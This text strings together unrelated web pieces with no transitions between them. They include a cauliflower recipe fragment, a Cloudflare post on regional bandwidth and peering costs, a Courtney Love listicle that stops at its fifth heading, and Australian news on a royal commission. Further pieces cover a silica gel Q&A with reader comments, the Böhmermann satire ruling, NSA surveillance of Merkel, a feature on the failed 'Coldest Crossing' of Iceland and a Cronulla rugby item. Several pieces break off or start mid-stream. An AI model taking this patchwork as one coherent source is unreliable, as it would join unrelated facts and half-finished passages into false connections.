Start by boiling cauliflower until its really soft.
Drop the cauliflower into the potato ricer and squeeze!
After you squeeze out the cauliflower, fry it in some bacon grease. Add some salt and pepper.
Here is the finished cauliflower with Parmesan cheese served up as a side with the BBQ Pot Roast.
CC BY 2.0 by Kendrick Erickson
Over the last few months, there’s been increased attention on networks and how they interconnect. CloudFlare runs a large network that interconnects with many others around the world. From our vantage point, we have incredible visibility into global network operations. Given our unique situation, we thought it might be useful to explain how networks operate, and the relative costs of Internet connectivity in different parts of the world.
A Connected Network
The Internet is a vast network made up of a collection of smaller networks. The networks that make up the Internet are connected in two main ways. Networks can connect with each other directly, in which case they are said to be “peered”, or they can connect via an intermediary network known as a “transit provider”.
At the core of the Internet are a handful of very large transit providers that all peer with one another. This group of approximately twelve companies are known as Tier 1 network providers. Whether directly or indirectly, every ISP (Internet Service Provider) around the world connects with one of these Tier 1 providers. And, since the Tier 1 providers are all interconnected themselves, from any point on the network you should be able to reach any other point. That's what makes the Internet the Internet: it’s a huge group of networks that are all interconnected.
Paying to Connect
To be a part of the Internet, CloudFlare buys bandwidth, known as transit, from a number of different providers. The rate we pay for this bandwidth varies from region to region around the world. In some cases we buy from a Tier 1 provider. In other cases, we buy from regional transit providers that either peer with the networks we need to reach directly (bypassing any Tier 1), or interconnect themselves with other transit providers.
CloudFlare buys transit wholesale and on the basis of the capacity we use in any given month. Unlike some cloud services like Amazon Web Services (AWS) or traditional CDNs that bill for individual bits delivered across a network (called "stock"), we pay for a maximum utilization for a period of time (called "flow"). Typically, we pay based on the maximum number of megabits per second we use during a month on any given provider.
Traffic levels across CloudFlare's global network over the last 3 months. Each color represents one of our 28 data centers.
Most transit agreements bill the 95th percentile of utilization in any given month. That means you throw out approximately 36 not-necessarily-contiguous hours worth of peak utilization when calculating usage for the month. Legend has it that in its early days, Google used to take advantage of these contracts by using very little bandwidth for most of the month and then ship its indexes between data centers, a very high bandwidth operation, during one 24-hour period. A clever, if undoubtedly short-lived, strategy to avoid high bandwidth bills.
Another subtlety is that when you buy transit wholesale you typically only pay for traffic coming in (“ingress") or traffic going out (“egress”) of your network, not both. Generally you pay which ever one is greater.
CloudFlare is a caching proxy so egress (out) typically exceeds ingress (in), usually by around 4-5x. Our bandwidth bill is therefore calculated on egress so we don't pay for ingress. This is part of the reason we don't charge extra when a site on our network comes under a DDoS attack. An attack increases our ingress but, unless the attack is very large, our ingress traffic will still not exceed egress, and therefore doesn’t increase our bandwidth bill.
Peering
While we pay for transit, peering directly with other providers is typically free — with some notable exceptions recently highlighted by Netflix. In CloudFlare's case, unlike Netflix, at this time, all our peering is currently "settlement free," meaning we don't pay for it. Therefore, the more we peer the less we pay for bandwidth. Peering also typically increases performance by cutting out intermediaries that may add latency. In general, peering is a good thing.
The chart above shows how CloudFlare has increased the number of networks we peer with over the last three months (both over IPv4 and IPv6). Currently, we peer around 45% of our total traffic globally (depending on the time of day), across nearly 3,000 different peering sessions. The chart below shows the split between peering and transit and how it's improved over the last three months as we’ve added more peers.
North America
We don't disclose exactly what we pay for transit, but I can give you a relative sense of regional differences. To start, let's assume as a benchmark in North America you'd pay a blended average across all the transit providers of $10/Mbps (megabit per second per month). In reality, we pay less than that, but it can serve as a benchmark, and keep the numbers round as we compare regions. If you assume that benchmark, for every 1,000Mbps (1Gbps) you'd pay $10,000/month (again, acknowledge that’s higher than reality, it’s just an illustrative benchmark and keeps the numbers round, bear with me).
While that benchmark establishes the transit price, the effective price for bandwidth in the region is the blended price of transit ($10/Mbps) and peering ($0/Mbps). Every byte delivered over peering is a would-be transit byte that doesn't need to be paid for. While North America has some of the lowest transit pricing in the world, it also has below average rates of peering. The chart below shows the split between peering and transit in the region. While it's gotten better over the last three months, North America still lags behind every other region in the world in terms of peering.
While we peer nearly 40% of traffic globally, we only peer around 20-25% in North America. Assuming the price of transit is the benchmark $10/Mbps in North America without peering, with peering it is effectively $8/Mbps. Based only on bandwidth costs, that makes it the second least expensive region in the world to provide an Internet service like CloudFlare. So what's the least expensive?
Europe
Europe's transit pricing roughly mirrors North America's so, again, assume a benchmark of $10/Mbps. While transit is priced similarly to North America, in Europe there is a significantly higher rate of peering. CloudFlare peers 50-55% of traffic in the region, making the effective bandwidth price $5/Mbps. Because of the high rate of peering and the low transit costs, Europe is the least expensive region in the world for bandwidth.
The higher rate of peering is due in part to the organization of the region's “peering exchanges”. A peering exchange is a service where networks can pay a fee to join, and then easily exchange traffic between each other without having to run individual cables between each others' routers. Networks connect to a peering exchange, run a single cable, and then can connect to many other networks. Since using a port on a router has a cost (routers cost money, have a finite number of ports, and a port used for one network cannot be used for another), and since data centers typically charge a monthly fee for running a cable between two different customers (known as a "cross connect"), connecting to one service, using one port and one cable, and then being able to connect to many networks can be very cost effective.
The value of an exchange depends on the number of networks that are a part of it. The Amsterdam Internet Exchange (AMS-IX), Frankfurt Internet Exchange (DE-CIX), and the London Internet Exchange (LINX) are three of the largest exchanges in the world. (Note: these links point to PeeringDB.com which provides information on peering between networks. You'll need to use the username/password guest/guest in order to login.)
In Europe, and most other regions outside North America, these and other exchanges are generally run as non-profit collectives set up to benefit their member networks. In North America, while there are Internet exchanges, they are typically run by for-profit companies. The largest of these for-profit exchanges in North America are run by Equinix, a data center company, which uses exchanges in its facilities to increase the value of locating equipment there. Since they are run with a profit motive, pricing to join North American exchanges is typically higher than exchanges in the rest of the world.
CloudFlare is a member of many of Equinix's exchanges, but, overall, fewer networks connect with Equinix compared with Europe's exchanges (compare, for instance, Equinix Ashburn, which is their most popular exchange with about 400 networks connected, versus 1,200 networks connected to AMS-IX). In North America the combination of relatively cheap transit, and relatively expensive exchanges lowers the value of joining an exchange. With less networks joining exchanges, there are fewer opportunities for networks to easily peer. The corollary is that in Europe transit is also cheap but peering is very easy, making the effective price of bandwidth in the region the lowest in the world.
Asia
Asia’s peering rates are similar to Europe. Like in Europe, CloudFlare peers 50-55% of traffic in Asia. However, transit pricing is significantly more expensive. Compared with the benchmark of $10/Mbps in North America and Europe, Asia's transit pricing is approximately 7x as expensive ($70/Mbps, based on the benchmark). When peering is taken into account, however, the effective price of bandwidth in the region is $32/Mbps.
There are three primary reasons transit is so much more expensive in Asia. First, there is less competition, and a greater number of large monopoly providers. Second, the market for Internet services is less mature. And finally, if you look at a map of Asia you’ll see a lot of one thing: water. Running undersea cabling is more expensive than running fiber optic cable across land so transit pricing offsets the cost of the infrastructure to move bytes.
Latin America
Latin America is CloudFlare's newest region. When we opened our first data center in Valparaíso, Chile, we delivered 100 percent of our traffic over transit, which you can see from the graph above. To peer traffic in Latin America you need to either be in a "carrier neutral" data center — which means multiple network operators come together in a single building where they can directly plug into each other's routers — or you need to be able to reach an Internet exchange. Both are in short supply in much of Latin America.
The country with the most robust peering ecosystem is Brazil, which also happens to be the largest country and largest source of traffic in the region. You can see that as we brought our São Paulo, Brazil data center online about two months ago we increased our peering in the region significantly. We've also worked out special arrangements with ISPs in Latin America to set up facilities directly in their data centers and peer with their networks, which is what we did in Medellín, Colombia.
While today our peering ratio in Latin America is the best of anywhere in the world at approximately 60 percent, the region's transit pricing is 8x ($80/Mbps) the benchmark of North America and Europe. That means the effective bandwidth pricing in the region is $32/Mbps, or approximately the same as Asia.
Australia
Australia is the most expensive region in which we operate, but for an interesting reason. We peer with virtually every ISP in the region except one: Telstra. Telstra, which controls approximately 50% of the market, and was traditionally the monopoly telecom provider, charges some of the highest transit pricing in the world — 20x the benchmark ($200/Mbps). Given that we are able to peer approximately half of our traffic, the effective bandwidth benchmark price is $100/Mbps.
To give you some sense of how out-of-whack Australia is, at CloudFlare we pay about as much every month for bandwidth to serve all of Europe as we do to for Australia. That’s in spite of the fact that approximately 33x the number of people live in Europe (750 million) versus Australia (22 million).
If Australians wonder why Internet and many other services are more expensive in their country than anywhere else in the world they need only look to Telstra. What's interesting is that Telstra maintains their high pricing even if only delivering traffic inside the country. Given that Australia is one large land mass with relatively concentrated population centers, it's difficult to justify the pricing based on anything other than Telstra's market power. In regions like North America where there is increasing consolidation of networks, Australia's experience with Telstra provides a cautionary tale.
Conclusion
The chart above shows the relative cost of bandwidth assuming a benchmark transit cost of $10/Megabits per second (Mbps) per month (which we know is higher than actual pricing, it’s just a benchmark) in North America and Europe.
Love has already published one memoir, 2006’s Dirty Blonde: The Diaries of Courtney Love,which compiles everything from hand-written notes and diary entries to a Mickey Mouse Club rejection letter.
In the meantime, who needs a tell-all book? As those of us trying to hold onto our appreciation of her greatest songs are all too aware, Love’s life in the spotlight has already provided plenty of memorable — and often outrageous — moments. Here are five that come to mind.
1. SMACKED OUT AND PREGNANT?
In 1992, a Vanity Fair profile alleged that Love used heroin while pregnant. The story was by Lynn Hirschberg, of M.I.A.-“truffle fries” kerfuffle fame. Three years later, at a party, Love grabbed Quentin Tarantino’s best director Oscar award for Pulp Fiction and threatened to pound Hirschberg with it.
2. BIKINI KILLAH
As two of the toughest female frontwomen in alternative rock, Love and Kathleen Hanna might have been expected to find common cause. On the first stop of the 1995 Lollapalooza tour, however, Love belted the then-Bikini-Kill singer — and earned herself a one-year suspended sentence for assault. Love called Hannah “Raface” and accused her of enedlessly stalking Cobain while he was alive. “I still don’t like her,” Love told SPIN in 2005.
3. LIKE A PRAYER
At least one of Love’s more bizarre misadventures is memorialized in perpetuity on YouTube. During the 1995 MTV Video Music Awards, host Kurt Loder was interviewing Madonna, when Love hurled her compact in the pop star’s direction. An awkward train wreck ensued. “Courtney Love is in dire need of attention right now,” the Material Girl pronounced.
4. DEVASTATING OVERDOSE
In October 2003, Love lost custody of her daughter with late husband Kurt Cobain, Frances Bean. Child services took Bean away not long after the singer overdosed on Oxycontin in front of the child. At first, Love maintained she had only taken anti-anxiety drug Xanax, but later she acknowledged her use of “hillbilly heroin” in an interview with People magazine. “That’s the only time my daughter has ever, ever, ever pitched in on one of my little crises,” Love was quoted as saying. “I made it fun.”
5. ‘TWILIGHT’ FIGHT
Updated
The Federal Government says it will make confidential Cabinet documents from the former Labor government available to a royal commission into the home insulation scheme.
Four young insulation workers died while working on the rollout of the home insulation scheme set up by the Rudd government in 2009.
The commission is investigating if the deaths could have been avoided and is looking into whether the government sought the appropriate safety advice.
Attorney-General George Brandis has written to the Opposition saying Cabinet documents may be used as part of the process.
He says if the royal commission decides to use Cabinet documents, it should let the Commonwealth know so it can decide if it should seek protective orders.
Prime Minister Tony Abbott says it will help the inquiry find out what went wrong.
"Royal commissioners have very extensive powers to demand documents, to summon and question witnesses. This is a very powerful inquiry and it should do its job," he said.
But shadow attorney-general Mark Dreyfus has attacked the decision to release the documents, saying it undermines the long-standing principle of Cabinet confidentiality.
"The damage is now done because it means that every future Cabinet meeting will not be secure," he said.
"In every future Cabinet meeting, ministers will be looking over their shoulders, will be thinking 'perhaps what I say here will become public'."
The ABC has asked Senator Brandis for comment, but has had no response.
Under the multi-billion dollar Rudd government stimulus package, insulation was installed in nearly 1.2 million homes, but problems soon emerged.
Matthew Fuller, Rueben Barnes, Mitchell Sweeney and Marcus Wilson died and government figures show there were 224 fires linked to the program.
Document release would discourage future debate: Fraser
Former prime minister Malcolm Fraser has expressed alarm at Senator Brandis' decision.
"It discourages debate in Cabinet, free and open debate, which it is meant to be - which is why there's a time limit on when documents are published and when they are not," Mr Fraser said.
"And also it invites payback from a new government, when there's another change of government sometime in the future, and that kind of practice would ultimately do great damage to Australian democracy."
There have already been numerous investigations into the problems with the Rudd government's home insulation program, including a senate inquiry in 2010, a performance review by the National Audit Office, a coroner's inquest in both NSW and Queensland, a scientific study by the CSIRO and two other reviews or reports.
Mr Fraser says that because of these investigations, using recent cabinet documents is not in the public interest.
"What's it going to find? Is it going to find that certain ministers ought to be prosecuted?" Mr Fraser said.
"That's most unlikely; there have already been coronial inquiries. I think the public know that the program was very incompetently managed.
"I'm not aware of it happening in Australia's history, I'm not aware of it happening in British history.
"Many of our practices obviously flow from British experience."
Mr Fraser says that should this happen now, it would be much more likely to happen again in the future, until there are "sensible people operating" in the Parliament.
Topics: government-and-politics, federal-government, law-crime-and-justice, royal-commissions, australia
What happens if you DO eat silica gel? Annie, Edinburgh Alone, silica gel is non-toxic, non-flammable and chemically unreactive. However, some of the beads may be doped with a moisture indicator, such as cobalt (II) chloride, which is carcinogenic. Cobalt (II) chloride is deep blue when dry (anhydrous) and pink when moist (hydrated). This is the reason most silica gel packets are labeled as dangerous or poisonous when eaten. Crystalline silica dust can cause silicosis but synthetic amorphous silica, which is what silica gel is, does not cause silicosis. A chemically similar substance with far greater porosity is aerogel. Rich Paddon, Manchester, UK Presumably you dehydrate, but by how much is determined by what quantity you eat. Jenny, Woking, UK Not a lot, apparently. According to the advice of the Utah Poison Control Centre, "Silica gel is a desiccant which absorbs moisture and is included in the packaging of many products such as shoes, purses, medications, electronic equipment, computers, etc. Desiccants are the most common foreign object ingestion by children under 6 years of age reported to the Utah Poison Control Center, with 584 reports in 1999. Silica gel packets are printed with very strong words of caution – DO NOT EAT, HARMFUL IF SWALLOWED, THROW AWAY. Parents may panic after reading the silica gel caution label, if their child puts the package in their mouth or eats the product. Rest assured, the contents of the packet, silica gel, is basically sand and it is not harmful if swallowed. However, caution should be taken to keep the product out of small children’s reach, because the silica gel packet may be a choking hazard." Roger Greenhalgh, Newport, Shropshire UK Thank you so much. My son ate some and instantly I started to panic and I googled and you have saved my nerves. Gia Mainne , Texas U.S Thank You so much for the information. Vimal, Dubai UAE Thank you so much for the information, My 3 year old daughter just swallowed this gel and I really freaked out but googling this info really saved me a trip to the Hospital. I believe this kind of information is very helpful to all parents in the world. Morens, Johannesburg South Africa My eight month old daughter just eat it, I am very varying about my child thanks for your information tarik khan, kareli india Thank you so much. I ate some Silica gel by mistake naveesh, calicut india My daughter's two years old and she ate it and was calling them lollies I instantly started to panic thanks google my hearts beating again lol Shivaun, Batemans bay Australia Thanks a lot for the reassurance! My 4 yr old son started sucking a few and I was ready to take him to hospital! At least I can sleep easy! Naomie Ramtu, Nairobi Kenya My friend and I just ate some... it was delicious...mmmm. getting some more ordered for Christmas! John Jones, Manchester Lancashire It made me go blue. Ken Adams, Browntree England thank you so much for the information... mazuin ahmad, miri sarawak Thank you so much... I was panicking as my son bit into a packet, I thought he was ok coz I got it out of his mouth, but as my son was sick that night was getting worried... This has put my mind at rest that he is not poisoned... xx Gemma, Basingstoke England I freaked out immediately when I opened my Asic tablet and find silica gel spilled all over. I phoned the Pharmacist nd he said I must come so that they can see. As on my way I googled it and I was very happy with the information. Unfortunately I spend my money already lol! Thanks a lot Bohlokwa Monatsi, Cape Town South Africa Thank god. I was just in my most panicking moment....got a lot of hard scolding from my husband for not being an attentive mom...when the time she consumed it. I was absent and my hubby was present. But now I can rest assured. Thank god. arpita , kolkata india I found an open packet on my floor and panicked because I thought the baby ate it. Almost had a heart attack. Thank you for this info, I'm still going to watch her. Mahalia Wright , Brooklyn, NY USA I was so worried when I saw a chewed packet of those and my 4 year old was alone in my bedroom, thank you for this info.. Pumla Jokozela, Sterkspruit South Africa Thanks for your help but what if the packet is also present in the food? hina, islamabad pakistan My baby opened the packet not sure whether he eat the gel but I panic Thanks a million for the info. Ummaaisha Yasmeen, mumbai mumbai Thanks you so much for such information. My 2 year old son Swallowed 1 piece of it. I was panic about it. He is ok. One again thanks you so much. Kultar Singh Bains, Hoshiarpur India Thank god!!!!! God bless u really!!! My 2 year old probably had a few I'm not sure, I Googled to check before I could get a panic attack and phew, I read this... Thank you so much. Sai, Mumbai, India
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In its ruling last month, the court said that Turkish President Recep Tayyip Erdogan should not have to tolerate such repetition "in view of its abusive and libelous content."
The court said on Friday, however, that Böhmermann's "libelous poem," was "undoubtedly" a work of satire and art, adding that due to his prominent political position, Erdogan must be prepared to put up with strong criticism.
Controversial lyrics
Böhmermann made headlines earlier this year after his poem prompted the Turkish leader to sue him for defamation.
The poem, which aired on March 31 on the weekly German satirical show "Neo Magazin Royal," accused Erdogan of allowing abuse of Kurds and Christians, violence against women, and repression of minorities in Turkey.
It also contained numerous sexual innuendos, including the implication that Erdogan had participated in sex with goats, sodomy, and had a child-porn habit.
Watch video 04:57 Share A satirical and controversial poem Send Facebook google+ Whatsapp Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/1IeNh A satirical and controversial poem
On the request of Erdogan, German Chancellor Angela Merkel allowed German authorities to launch an investigation into Böhmermann, citing paragraph 103 of Germany's penal code, which protects foreign heads of state from insult.
Reality vs. satire
The Hamburg court ruled on Friday that the "the non-prohibited parts of the poem, expressed harsh criticism of [Erdogan's] policies," and that in their over-exaggerated form, "goings-on taken from reality" could be assumed.
As an example, the court referred to "the beating of female demonstrators on World Women's Day by policemen wearing helmets and protective clothing," for which Erdogan, as head of state was politically responsible.
Bearing these events in mind, the court said that a line of the poem which reads, "He is the man who beats girls while wearing rubber masks" is a permissible form of satire.
'Racist prejudices'
Weighing up the balance between the protection of artistic freedom and Erdogan's personal rights, the court ruled that in some parts, the Böhmermann overstepped the mark with "undoubtedly abusive and defamatory" lyrics.
Justifying the injunction, the court said that some lines which were prohibited as they seized "directly upon existing prejudices" against Turks, which are considered racist.
The court argued that this issue was particularly aggravated by the Böhmermann's "deliberate" use of the term "Schweinefurz," which translates as "pig fart." In Islam, the pig is considered to be an unclean animal.
Free speech debate
In light of last month's injunction, Böhmermann's lawyer Christian Schertz said the court's decision was wrong, "despite deeming the comments concerning the freedom of expression as admissible."
The case has sparked a fierce debate on free speech in Germany, as well as anger over Berlin's decision to allow the investigation into Böhmermann allegedly breaching paragraph 103 of the penal code.
Visitors walk in front of the Chancellory during the second day of an open door weekend of several ministries in Berlin. REUTERS/Fabrizio Bensch
A report released by the group suggested NSA spying on Merkel and her staff had gone on far longer and more widely than previously realized. WikiLeaks said the NSA targeted for long-term surveillance 125 phone numbers of top German officials.
The release risks renewing tensions between Germany and the United States a month after they sought to put a row over spying behind them, with U.S. President Barack Obama declaring in Bavaria that the two nations were “inseparable allies”.
A German government spokesman said on Thursday Berlin was looking into the latest report and reiterated that such events strained German and American intelligence cooperation.
The United States repeated its position that it did not undertake foreign intelligence unless there was “a specific and validated national security purpose.”
State Department Spokesman John Kirby said in an email, “This applies to ordinary citizens and world leaders alike. Germany is a close friend and partner on a range of issues, and we look forward to continuing and deepening this important relationship.”
Friends and associates of former NSA contractor Edward Snowden have denied he is the source of the latest WikiLeaks revelations, suggesting that they likely came from a different and still unidentified leaker deep inside U.S. intelligence.
His friends have said Snowden avoided giving the large tranches of classified documents he downloaded while working at NSA installations to WikiLeaks founder Julian Assange, even though Assange helped arrange for Snowden’s flight to and current exile in Moscow.
However, some U.S. officials familiar with the latest leaks said they were unaware of other leakers and believe that one way or another the material newly published by WikiLeaks did somehow originate with Snowden, even if he did not give it directly to Assange.
WikiLeaks published what it said were three NSA intercepts of Merkel’s conversations, and data it said listed telephone numbers for the chancellor, her aides, her office and even her fax machine.
“The names associated with some of the targets indicate that spying on the Chancellery predates Angela Merkel as it includes staff of former Chancellor Gerhard Schroeder (in office 1998-2002), and his predecessor Helmut Kohl,” WikiLeaks added in a statement.
The intercepts detailed communications from Merkel in 2009 on the international financial crisis, with the crown prince of the United Arab Emirates in 2009 on Iran, and with advisers in 2011 on the euro zone crisis.
The targeted phone numbers included those for the cellphones of senior officials at the chancellery and included that of Ronald Pofalla, Merkel’s former chief of staff, WikiLeaks said.
Spying is a sensitive issue in Germany because of the abuses of the Nazi and Communist eras. The Snowden revelations have caused outrage in Germany when they first surfaced.
Mel ordered a beer and a short while later watched an old Cadillac with it’s tail pipe dragging down Front St pull up outside of Two Friends with two very large chests in the trunk.
After the evacuation, the four Brits were skewered as irresponsible and cocksure by Icelanders and media outlets around the world. “Grand ambition is no substitute for common sense,” read an editorial in the Times of London. Three people sent the team death threats. Rees recalled a local man confronting the Brits in a Reykjavik coffee shop after their evacuation. “What the fuck are you guys doing?” he snarled. “Leave already!”
Although the team members lacked experience on big expeditions, they compensated with social media and marketing savvy befitting seasoned professionals. They dubbed the expedition the “Coldest Crossing” and put together an extensive media kit detailing their plans. Team leader Charlie Smith designed a website that looks as slick as any you’ll see in the outdoor industry. They had a filmmaker friend cut together a trailer about their trip using footage from a five-day training hike through Iceland they’d done last summer.
Two months before the expedition, Smith sent Rees the trailer on Facebook to get her thoughts. She had never heard of the Brits or their plan, but their objective and glossy presentation intrigued her. She and Ozturk happened to have a block of free time in December, so they signed on to document the expedition. “Part of the reason Renan and I committed was, 'Wow, first winter crossing of Iceland, that’s pretty unique,'” Rees says.
At least, the group’s website and film trailer claimed the Brits would be “the first to cross Iceland unsupported in winter.” In fact, a handful of other adventurers had completed unsupported crossings of their own—east to west, diagonally, and north to south—the earliest ones dating back nearly a century. Smith later told Outside that the team aimed to be the first to traverse the island country “from the northernmost point to the southernmost point,” unsupported, in winter. That was always their plan, he said, even if the key distinction wasn’t clear before the expedition.
By then, the Brits had cultivated such a buzz that big-time sponsors, including Fjällräven and Atomic, were approaching them with offers to contribute. Ozturk and Rees were behind them. News outlets were running articles. The outside support and interest did two things: legitimized the expedition and created a tower of expectations. The young men tried not to let the hype affect them.
“The initial and main reason we were there was to inspire young people to go [outdoors] and try something,” Smith says. “At the end of the day, if I didn’t think we were up to the challenge, we wouldn’t have tried it.”
For many adventurers and explorers, drumming up media interest, securing sponsors, and attracting funding is the hardest part of pulling off an expedition. The physical part is what they’ve trained for their whole careers. The Brits, by comparison, approached their expedition in reverse. “They were extremely well researched,” Ozturk said. “They just don’t have some of the sixth sense that comes from doing this stuff over a lifetime, and that’s not their fault. A big point of the trip was for them to go out in the world and find that.”
The failed expedition and vitriolic public reactions that followed raised broad questions about the makings of an explorer in the 21st century, and the evolving mechanics of the adventure industry. Authenticity and ambition used to go hand in hand on professional expeditions. Now, some wonder whether authenticity has been usurped by accessibility—the need to invite the world aboard, or risk being left at home. “They might want to think about just having fun adventures for themselves, not somebody else,” wrote Icelandic Alpine Club member Sveinn Sveinsson in a scathing critique of the trip. Perhaps the most significant question is this: Have we reached a point where it is more important for adventurers to be shrewd with presentation than proven in hardcore environments?
As recently as ten years ago, major underwriters and sponsors would vet expeditions primarily according to their potential to make history, either by exploring a new area or pursuing a first ascent or first descent. Ambitious objectives dating all the way back to 1963, when an Eddie Bauer-backed American team attempted (and completed) a first ascent of Everest’s West Ridge, came with uncertainty—in fact, that was part of the appeal.
“If there’s no risk of failure, then it’s not a real story” was the prevailing attitude, says Scott Willson, who spent a decade as the photo and video editor at the North Face and six more years as photo editor at Patagonia.
Before Willson left the North Face two years ago, he served on the company’s expedition committee and helped select the trips the company funded. Once a year, he and a group of others sat in a room and evaluated 75 to 100 proposals, eventually selecting between eight and 15 to fund. At least a handful of trips proposed something “purely exploratory, to the point where if we got no content at all, it would be okay,” Willson says.
In recent years, however, with the rapid advancement of storytelling technology—high-definition DLSRs, action cameras, even smartphones—as well as the ability to edit in the field and the power of social media as an advertising platform, the selection criteria has changed dramatically, Willson says. The ability to distribute content—photos, videos, blogs, tweets—in real-time has offset the need for a high-risk story after the fact, at least in terms of reaching an audience.
“There was a conscious decision to flip that formula, to start with, 'What do we need on Facebook and Twitter? What do we need for the retail stores so they can be talking about this?'” Willson says. “You’re given this laundry list of stuff, and a story that can provide more information along the way, yeah, it has a lot of value.”
Willson remembers a 2009 deepwater soloing trip to Mallorca involving climbers Alex Honnold, Emily Harrington, Cedar Wright, James Pearson, and Matt Segal. The athletes rented a house and blogged throughout the trip, often posting video dispatches that Wright edited on the fly. “It wasn't a lightweight trip at all, but it really was more of a photo shoot” than a cutting-edge expedition, Willson says. He pauses, then adds: “It provided a lot of great content.”
Trips that cost upwards of $100,000, don’t offer that same potential for real-time updates, and have a higher probability of failure are becoming rarer, despite their potential to produce historic feats and stories, Willson says.
In fact, one of the few recent expeditions to strike a successful balance was the first ascent of Mount Meru’s Shark Fin by Conrad Anker, Jimmy Chin, and Ozturk, in 2011—another North Face sponsored trip. During team’s first attempt, in 2008, the men turned back just 500 feet below the summit after 19 days on the route, having been pinned by a storm and forced to ration their food. Still, the North Face green-lighted the climbers’ second attempt three years later, and they succeeded. (Anker had also tried in 2003 with different partners.) The two journeys became the basis of last year’s award-winning documentary, Meru, which reminded the industry how audacious expeditions can be, even when their stories are told years later.
Highly specialized trips like the ascent up Meru cost a lot of money, but there are also few people in the world who can even attempt such objectives. The rest of the time, sponsors can drum up just as much social media currency without spending nearly as much money.
Willson understands why the priorities have shifted in recent years, but he wonders if social media mandates—say, requiring three publishable images per week via satellite transmission—dilute the material’s impact as a whole. “It’s like you’ve taken all this emotion away from this beautiful stuff,” he says. “Now it’s just content to fill buckets.”
Andrew McLean finds himself on the wrong side of the shift. As one of the leading ski mountaineers of the past 50 years, McLean has built a reputation for exploring exotic zones and making first descents on all seven continents. This winter, however, two of his sponsors—Backcountry.com and Mountain Hardwear—dropped him. He wasn’t alone: Mountain Hardwear also dropped a total of 13 of its 20 sponsored athletes, including renowned Swiss alpinist Ueli Steck.
McLean, who just turned 55, used to get an expedition allowance, a gear allowance, and a stipend for sponsor obligations around the country. He travels frugally: this year, he tried to find sponsorship for an exploratory ski trip to the Kamchatka Peninsula in eastern Russia that would cost $3,600—flight, food, and in-country travel included. Not only could he not secure funds, he couldn’t find anyone with enough sponsor support to join him on the trip. Instead, he settled on a $300 trip to explore the Ruby Mountains in Nevada, just 280 miles from his home in Utah.
McLean, admittedly, is not great with social media. “Entering text on the phone, I just don't have the patience for it,” he says. And he knows it cuts into his opportunities, regardless of his experience and skills. “If the sponsor’s goal is to get exposure, then having someone get 12,000 likes for exploring out of bounds at a ski resort versus 200 likes for putting a new line up K2 is almost a no-brainer,” McLean says.
Steck, who concedes that he is “not a marketing person,” shares McLean’s view. “My opinion is that most brands just want content,” he says. “They don’t care about performance. Which I think is very bad for the sport.”
Mountain Hardwear brand manager Kari Rice says the reason the company cut its athlete team so drastically was to focus on those who tell stories “that resonate with an average outdoor user.” When asked why an up-and-coming climber like 25-year-old Yosemite big-wall stud Cheyne Lempe would be selected for the team over a global name like Steck, Rice said Lempe is more willing to share the human side of his adventures—even the failures.
“You rarely hear these stories about people questioning their place and whether they should be there,” Rice says. Those stories, she says, have more value now than ever before. Brands are increasingly conceding layers of invincibility for opportunities to remind consumers that pros, too, get cold and scared on their adventures. “The industry, for a long time, was really focused on the summit,” Rice says. “While we love hardcore alpinists, and alpinism is so important to our brand, what we really love are the athletes who can connect to people who are never going to go to that summit.”
To fill the void left by a smaller global athlete team, Mountain Hardwear relies on a roster of 50 “ambassadors” around the world—relatively anonymous yet gung-ho adventurers who are selected from a pool of applicants in no small part due to their social-media reach. They are paid in free gear and required to promote the brand on various social channels. Perhaps the biggest perk, however, is they can pitch trips—from continental adventures to overseas expeditions—to be funded by Mountain Hardwear.
Steck, who is attempting a new route on 26,289-foot Shishapangma this spring in Tibet, remains dubious about the ambassadors’ role and questions whether putting so much stock in social media is worthwhile. “I don’t know if it’s possible to create a good image for a brand with daily Facebook posts where the athlete just eats his breakfast or goes climbing for a bit.”
That’s not to say there aren’t benefits of seeing approachable expeditions in our social media streams.
“I do think we have a responsibility to encourage adventure for the sake of adventure,” says polar explorer Eric Larsen. “We need to remind young people that they can act independently of sponsorship and social media and still have valid experiences—and allow them to make mistakes.”
This is why when someone asks Larsen how to do what he does, he always gives the same advice: don’t get sponsored right away. “I think people put the cart before the horse and see sponsorship as a way in,” he says. In Larsen’s case, by the time he planned his first polar expedition, in 2005, he had 10 years of experience organizing and undertaking international trips. Once sponsors get involved, and hype builds, Larsen says, “there's not a lot of room for mediocrity.”
Larsen followed the saga of the Coldest Crossing from Antarctica. He, like many, admired the young men’s pluck and persistence. (He also complimented their website.) But he stopped short of regaling them. “The reason there was backlash was because they made a false claim,” he says simply.
Evaluating the trip six weeks after it ended, Smith is measured. “People with more experience have done insanely great things and succeeded,” he says. “But they’ve also had a lot worse outcomes than what we had.”
“I think what we admired in them is that they kept going,” Rees says. “I have three teenage brothers, and I want them to go do some crazy stuff. I don’t want them to put themselves or other people at risk, but it’s sad to see people saying, ‘I can’t do anything bold because I’m not Bear Grylls.’”
Ozturk, a veteran of more than 20 international expeditions, defends the Brits: “I think what they were attempting was much harder and more complicated and took more personal responsibility than some sensationalized climb of Everest, like the next youngest person to climb it. Those kids don’t do much, they just sit in their tent and get out and clip onto the fixed ropes of the Sherpas.”
For all the scorn the Coldest Crossing team members received, they fit somewhere between the audacious explorers of old and the greener aspirants we see in our social media streams today. Pitching sponsors on a lofty goal and the promise to bring the world along for the journey is the way these types of ventures are approved—for the seasoned and inexperienced alike. The balance of authenticity and accessibility has shifted in the Brits' favor, and they took advantage. To focus on their failure is to ignore a fundamental truth of exploration: it’s a gamble on the unknown.
Jul 12th, 2017
Cronulla might become the first club in the NRL era to field a team with three players, aged 35 or over next season, with veteran Chris Heighington signalling his intentions to play on.
Following in the footsteps of senior teammates Luke Lewis and Paul Gallen, Heighington confirmed on Wednesday he would not retire at the end of the year, and wanted to stay at the Sharks.
"We're talking to the club at the moment. I'm pretty keen to play on," Heighington said.
"While I'm playing alright and doing my bit for the team, I still want to play."
Cronulla already have the two oldest players in the competition in Heighington and Gallen.
The Sharks' captain will turn 37 in August next year, but has a 12-month extension on the way.
Lewis is the ninth oldest in the league, but signed a new one-year contract last week to keep him at Cronulla after his 35th birthday - also next August.
Heighington will be 36 in January, but says if coach Shane Flanagan considers a third veteran one too many, he'll move elsewhere to keep playing.
"I love playing and my body's feeling good and not many injuries," he said.
"We'll have to wait and see - as you get older, you get down the pecking order of when they re-sign you."
While Jayden Brailey and Valentine Holmes are 21, Jeremy Latimore, Matt Prior, James Maloney and Sam Tagataese are all the wrong side of 30 for Cronulla.
Since the 1997 Super League war, Newcastle are the only other team to field two 35-year-olds in 2013 and 2015.
